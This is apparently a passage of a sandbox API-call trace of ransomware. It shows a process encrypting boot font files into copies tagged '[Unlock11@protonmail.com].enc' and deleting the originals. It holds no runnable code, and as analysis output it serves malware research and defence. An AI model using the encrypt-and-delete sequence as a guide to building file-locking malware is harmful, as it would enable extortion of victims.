[0117.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0117.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.076] GetLastError () returned 0x0 [0117.077] GetLastError () returned 0x0 [0117.077] GetCurrentThreadId () returned 0x9b0 [0117.077] GetLastError () returned 0x0 [0117.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.077] GetLastError () returned 0x0 [0117.077] GetLastError () returned 0x0 [0117.077] GetCurrentThreadId () returned 0x9b0 [0117.078] GetLastError () returned 0x0 [0117.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.078] GetLastError () returned 0x0 [0117.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0117.078] CloseHandle (hObject=0x3ac) returned 1 [0117.079] GetLastError () returned 0x0 [0117.079] GetCurrentThreadId () returned 0x9b0 [0117.079] GetLastError () returned 0x0 [0117.079] GetLastError () returned 0x0 [0117.079] CloseHandle (hObject=0x39c) returned 1 [0117.079] GetLastError () returned 0x0 [0117.079] GetCurrentThreadId () returned 0x9b0 [0117.079] GetLastError () returned 0x0 [0117.079] GetLastError () returned 0x0 [0117.079] GetLastError () returned 0x0 [0117.079] GetLastError () returned 0x0 [0117.080] GetLastError () returned 0x0 [0117.080] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0 [0117.080] GetLastError () returned 0x5 [0117.080] GetCurrentThreadId () returned 0x9b0 [0117.080] GetLastError () returned 0x5 [0117.080] GetLastError () returned 0x5 [0117.080] GetLastError () returned 0x5 [0117.080] GetLastError () returned 0x5 [0117.080] LocalFree (hMem=0x1053a70) returned 0x0 [0117.081] GetLastError () returned 0x5 [0117.081] GetLastError () returned 0x5 [0117.081] GetLastError () returned 0x5 [0117.081] GetLastError () returned 0x5 [0117.081] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\meiryon_boot.ttf", lpFilePart=0x9bada4*="meiryon_boot.ttf") returned 0x1e [0117.081] GetCurrentThreadId () returned 0x9b0 [0117.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0117.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0117.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0117.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0117.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.082] GetLastError () returned 0x0 [0117.082] GetLastError () returned 0x0 [0117.082] GetLastError () returned 0x0 [0117.082] GetLastError () returned 0x0 [0117.082] GetCurrentThreadId () returned 0x9b0 [0117.082] GetLastError () returned 0x0 [0117.082] GetCurrentThreadId () returned 0x9b0 [0117.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.082] GetLastError () returned 0x0 [0117.082] GetLastError () returned 0x0 [0117.083] GetLastError () returned 0x0 [0117.083] GetLastError () returned 0x0 [0117.083] GetCurrentThreadId () returned 0x9b0 [0117.083] GetLastError () returned 0x0 [0117.083] GetLastError () returned 0x0 [0117.083] GetLastError () returned 0x0 [0117.083] GetLastError () returned 0x0 [0117.083] GetLastError () returned 0x0 [0117.083] GetCurrentThreadId () returned 0x9b0 [0117.083] GetLastError () returned 0x0 [0117.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.084] GetLastError () returned 0x0 [0117.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0117.084] GetLastError () returned 0x0 [0117.084] GetLastError () returned 0x0 [0117.084] GetLastError () returned 0x0 [0117.084] GetCurrentThreadId () returned 0x9b0 [0117.084] GetLastError () returned 0x0 [0117.084] GetCurrentThreadId () returned 0x9b0 [0117.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a7a8 [0117.084] GetLastError () returned 0x0 [0117.084] GetLastError () returned 0x0 [0117.084] GetLastError () returned 0x0 [0117.085] GetLastError () returned 0x0 [0117.085] GetCurrentThreadId () returned 0x9b0 [0117.085] GetLastError () returned 0x0 [0117.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0117.085] GetLastError () returned 0x0 [0117.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0117.085] GetLastError () returned 0x0 [0117.085] GetLastError () returned 0x0 [0117.085] GetLastError () returned 0x0 [0117.085] GetCurrentThreadId () returned 0x9b0 [0117.085] GetLastError () returned 0x0 [0117.086] GetLastError () returned 0x0 [0117.086] GetLastError () returned 0x0 [0117.086] GetLastError () returned 0x0 [0117.086] GetLastError () returned 0x0 [0117.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0117.086] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a)) returned 1 [0117.086] GetLastError () returned 0x0 [0117.086] GetCurrentThreadId () returned 0x9b0 [0117.086] GetLastError () returned 0x0 [0117.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.087] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0117.087] GetCurrentThreadId () returned 0x9b0 [0117.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0117.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0117.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0117.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.087] GetLastError () returned 0x0 [0117.087] GetLastError () returned 0x0 [0117.087] GetLastError () returned 0x0 [0117.087] GetLastError () returned 0x0 [0117.087] GetCurrentThreadId () returned 0x9b0 [0117.087] GetLastError () returned 0x0 [0117.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.088] GetCurrentThreadId () returned 0x9b0 [0117.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea728 [0117.088] GetLastError () returned 0x0 [0117.088] GetLastError () returned 0x0 [0117.088] GetLastError () returned 0x0 [0117.088] GetLastError () returned 0x0 [0117.088] GetCurrentThreadId () returned 0x9b0 [0117.088] GetLastError () returned 0x0 [0117.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a68 [0117.089] GetCurrentThreadId () returned 0x9b0 [0117.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0117.089] GetLastError () returned 0x0 [0117.089] GetLastError () returned 0x0 [0117.089] GetLastError () returned 0x0 [0117.089] GetLastError () returned 0x0 [0117.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ab8 [0117.089] GetLastError () returned 0x0 [0117.089] CreateFileA (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.090] GetFileType (hFile=0x39c) returned 0x1 [0117.090] GetLastError () returned 0x0 [0117.090] GetCurrentThreadId () returned 0x9b0 [0117.090] GetLastError () returned 0x0 [0117.090] GetFileType (hFile=0x39c) returned 0x1 [0117.090] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.090] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.090] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.090] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.090] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.091] GetLastError () returned 0x0 [0117.091] GetCurrentThreadId () returned 0x9b0 [0117.091] GetLastError () returned 0x0 [0117.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0117.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.091] GetLastError () returned 0x0 [0117.091] GetLastError () returned 0x0 [0117.091] GetLastError () returned 0x0 [0117.091] GetLastError () returned 0x0 [0117.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0117.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0117.091] GetLastError () returned 0x0 [0117.092] CreateFileA (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.092] GetFileType (hFile=0x3ac) returned 0x1 [0117.092] GetLastError () returned 0x0 [0117.092] GetCurrentThreadId () returned 0x9b0 [0117.092] GetLastError () returned 0x0 [0117.092] GetFileType (hFile=0x3ac) returned 0x1 [0117.092] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.093] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.093] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.093] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.093] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.093] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.093] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.093] GetLastError () returned 0x0 [0117.093] GetCurrentThreadId () returned 0x9b0 [0117.093] GetLastError () returned 0x0 [0117.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0117.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887968 | out: hHeap=0x2ad0000) returned 1 [0117.093] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0117.093] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.094] GetLastError () returned 0x0 [0117.094] GetLastError () returned 0x0 [0117.094] GetCurrentThreadId () returned 0x9b0 [0117.094] GetLastError () returned 0x0 [0117.094] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0117.094] GetLastError () returned 0x0 [0117.094] GetLastError () returned 0x0 [0117.094] GetLastError () returned 0x0 [0117.094] GetLastError () returned 0x0 [0117.096] GetLastError () returned 0x0 [0117.096] GetLastError () returned 0x0 [0117.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.097] GetLastError () returned 0x0 [0117.097] GetLastError () returned 0x0 [0117.098] GetLastError () returned 0x0 [0117.098] GetLastError () returned 0x0 [0117.101] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x319f) returned 0x35c5908 [0117.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.101] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x31a5) returned 0x35c5908 [0117.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a08 [0117.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x31a8) returned 0x35b89d8 [0117.102] CloseHandle (hObject=0x3ac) returned 1 [0117.102] CloseHandle (hObject=0x39c) returned 1 [0117.102] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0 [0117.103] GetFullPathNameA (in: lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Boot\\Fonts\\meiryo_boot.ttf", lpFilePart=0x9bada4*="meiryo_boot.ttf") returned 0x1d [0117.103] GetFileAttributesExA (in: lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b)) returned 1 [0117.103] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0117.103] CreateFileA (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.103] GetFileType (hFile=0x39c) returned 0x1 [0117.104] GetFileType (hFile=0x39c) returned 0x1 [0117.104] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.104] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.104] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.104] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.104] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.104] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.104] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.104] GetLastError () returned 0x0 [0117.104] GetCurrentThreadId () returned 0x9b0 [0117.104] GetLastError () returned 0x0 [0117.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0117.104] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.105] GetLastError () returned 0x0 [0117.105] GetLastError () returned 0x0 [0117.105] GetLastError () returned 0x0 [0117.105] GetLastError () returned 0x0 [0117.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.105] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0117.105] GetLastError () returned 0x0 [0117.105] CreateFileA (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.[Unlock11@protonmail.com].enc" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.106] GetFileType (hFile=0x3ac) returned 0x1 [0117.106] GetLastError () returned 0x0 [0117.106] GetCurrentThreadId () returned 0x9b0 [0117.106] GetLastError () returned 0x0 [0117.107] GetFileType (hFile=0x3ac) returned 0x1 [0117.107] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.107] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.107] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.107] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.107] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.107] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.107] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.107] GetLastError () returned 0x0 [0117.107] GetCurrentThreadId () returned 0x9b0 [0117.107] GetLastError () returned 0x0 [0117.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0117.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0117.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0117.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0117.108] GetLastError () returned 0x0 [0117.108] GetLastError () returned 0x0 [0117.108] GetCurrentThreadId () returned 0x9b0 [0117.108] GetLastError () returned 0x0 [0117.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.108] GetLastError () returned 0x0 [0117.108] GetLastError () returned 0x0 [0117.108] GetCurrentThreadId () returned 0x9b0 [0117.108] GetLastError () returned 0x0 [0117.109] GetLastError () returned 0x0 [0117.110] GetLastError () returned 0x0 [0117.111] GetCurrentThreadId () returned 0x9b0 [0117.111] GetLastError () returned 0x0 [0117.111] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.111] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.111] GetLastError () returned 0x0 [0117.111] GetLastError () returned 0x0 [0117.111] GetLastError () returned 0x0 [0117.112] GetLastError () returned 0x0 [0117.112] GetCurrentThreadId () returned 0x9b0 [0117.112] GetLastError () returned 0x0 [0117.112] GetCurrentThreadId () returned 0x9b0 [0117.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0117.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0117.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0117.112] GetLastError () returned 0x0 [0117.114] GetLastError () returned 0x0 [0117.114] GetCurrentThreadId () returned 0x9b0 [0117.114] GetLastError () returned 0x0 [0117.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.114] GetLastError () returned 0x0 [0117.115] GetLastError () returned 0x0 [0117.115] GetCurrentThreadId () returned 0x9b0 [0117.115] GetLastError () returned 0x0 [0117.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a68 [0117.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0117.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.116] GetLastError () returned 0x0 [0117.116] GetLastError () returned 0x0 [0117.116] GetLastError () returned 0x0 [0117.116] GetLastError () returned 0x0 [0117.116] GetCurrentThreadId () returned 0x9b0 [0117.116] GetLastError () returned 0x0 [0117.117] GetCurrentThreadId () returned 0x9b0 [0117.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.117] GetLastError () returned 0x0 [0117.118] GetLastError () returned 0x0 [0117.118] GetCurrentThreadId () returned 0x9b0 [0117.118] GetLastError () returned 0x0 [0117.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.118] GetLastError () returned 0x0 [0117.119] GetLastError () returned 0x0 [0117.119] GetCurrentThreadId () returned 0x9b0 [0117.119] GetLastError () returned 0x0 [0117.119] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3820) returned 0x35c5908 [0117.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.119] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3825) returned 0x35c5908 [0117.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6a78 [0117.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a68 | out: hHeap=0x2ad0000) returned 1 [0117.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3828) returned 0x35b89d8 [0117.119] GetLastError () returned 0x0 [0117.119] GetLastError () returned 0x0 [0117.120] GetLastError () returned 0x0 [0117.120] GetLastError () returned 0x0 [0117.120] GetCurrentThreadId () returned 0x9b0 [0117.120] GetLastError () returned 0x0 [0117.120] GetCurrentThreadId () returned 0x9b0 [0117.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0117.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0117.120] GetLastError () returned 0x0 [0117.121] GetLastError () returned 0x0 [0117.121] GetCurrentThreadId () returned 0x9b0 [0117.121] GetLastError () returned 0x0 [0117.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc208 | out: hHeap=0x2ad0000) returned 1 [0117.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.121] GetLastError () returned 0x0 [0117.121] GetLastError () returned 0x0 [0117.121] GetCurrentThreadId () returned 0x9b0 [0117.121] GetLastError () returned 0x0 [0117.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.122] GetLastError () returned 0x0 [0117.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0117.122] CloseHandle (hObject=0x3ac) returned 1 [0117.122] GetLastError () returned 0x0 [0117.122] GetCurrentThreadId () returned 0x9b0 [0117.122] GetLastError () returned 0x0 [0117.122] GetLastError () returned 0x0 [0117.122] CloseHandle (hObject=0x39c) returned 1 [0117.123] GetLastError () returned 0x0 [0117.123] GetCurrentThreadId () returned 0x9b0 [0117.123] GetLastError () returned 0x0 [0117.123] GetLastError () returned 0x0 [0117.123] GetLastError () returned 0x0 [0117.123] GetLastError () returned 0x0 [0117.123] GetLastError () returned 0x0 [0117.123] DeleteFileA (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: 